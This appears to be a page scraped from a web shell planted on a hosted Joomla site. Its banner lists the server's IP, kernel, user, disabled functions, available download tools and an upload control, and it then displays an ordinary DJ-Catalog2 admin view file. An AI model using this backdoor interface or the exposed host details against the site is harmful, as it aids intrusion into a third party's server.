| Server IP : 54.36.91.62 / Your IP : 216.73.217.112 Web Server : Apache System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : coopiak ( 151928) PHP Version : 8.3.23 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/coopiak/amisdesseniors-fr/administrator/components/com_djcatalog2/views/fields/ |
Upload File : |
<?php
/**
* @package DJ-Catalog2
* @copyright Copyright (C) DJ-Extensions.com, All rights reserved.
* @license http://www.gnu.org/licenses GNU/GPL
* @author url: http://dj-extensions.com
* @author email contact@dj-extensions.com
*/
// No direct access
defined('_JEXEC') or die;
use Joomla\CMS\MVC\View\HtmlView;
use Joomla\CMS\Language\Associations;
use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\Toolbar\ToolbarHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\HTML\Helpers\Sidebar;
use Joomla\CMS\Layout\FileLayout;
jimport('joomla.application.component.view');
class Djcatalog2ViewFields extends HtmlView
{
protected $items;
protected $pagination;
protected $state;
public function display($tpl = null)
{
$actions = ContentHelper::getActions('com_djcatalog2');
if ($actions['djcatalog2.admin.catalogue'] == false && $actions['djcatalog2.access.catalogue'] == false) {
throw new NotAllowed(Text::_('JERROR_ALERTNOAUTHOR'), 403);
}
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->fieldgroups = $this->get('Fieldgroups');
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');
// Check for errors.
if (count($errors = $this->get('Errors'))) {
throw new Joomla\CMS\MVC\View\GenericDataException(implode("\n", $errors), 500);
return false;
}
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
if (class_exists('Sidebar')){
$this->sidebar = Sidebar::render();
}
}
parent::display($tpl);
}
protected function addToolbar()
{
ToolbarHelper::title(Text::_('COM_DJCATALOG2_FIELDS'), 'generic.png');
ToolbarHelper::addNew('field.add','JTOOLBAR_NEW');
ToolbarHelper::editList('field.edit','JTOOLBAR_EDIT');
ToolbarHelper::divider();
ToolbarHelper::custom('fields.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true);
ToolbarHelper::custom('fields.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);
ToolbarHelper::deleteList('', 'fields.delete','JTOOLBAR_DELETE');
$lang = $this->state->get('filter.language');
if($lang && Associations::isEnabled()) {
$bar = JToolbar::getInstance('toolbar');
$title = Text::_('JTOOLBAR_BATCH');
$layout = new FileLayout('joomla.toolbar.batch');
$dhtml = $layout->render(array('title' => $title));
$bar->appendButton('Custom', $dhtml, 'batch');
}
ToolbarHelper::divider();
ToolbarHelper::preferences('com_djcatalog2', '450', '900');
ToolbarHelper::divider();
}
}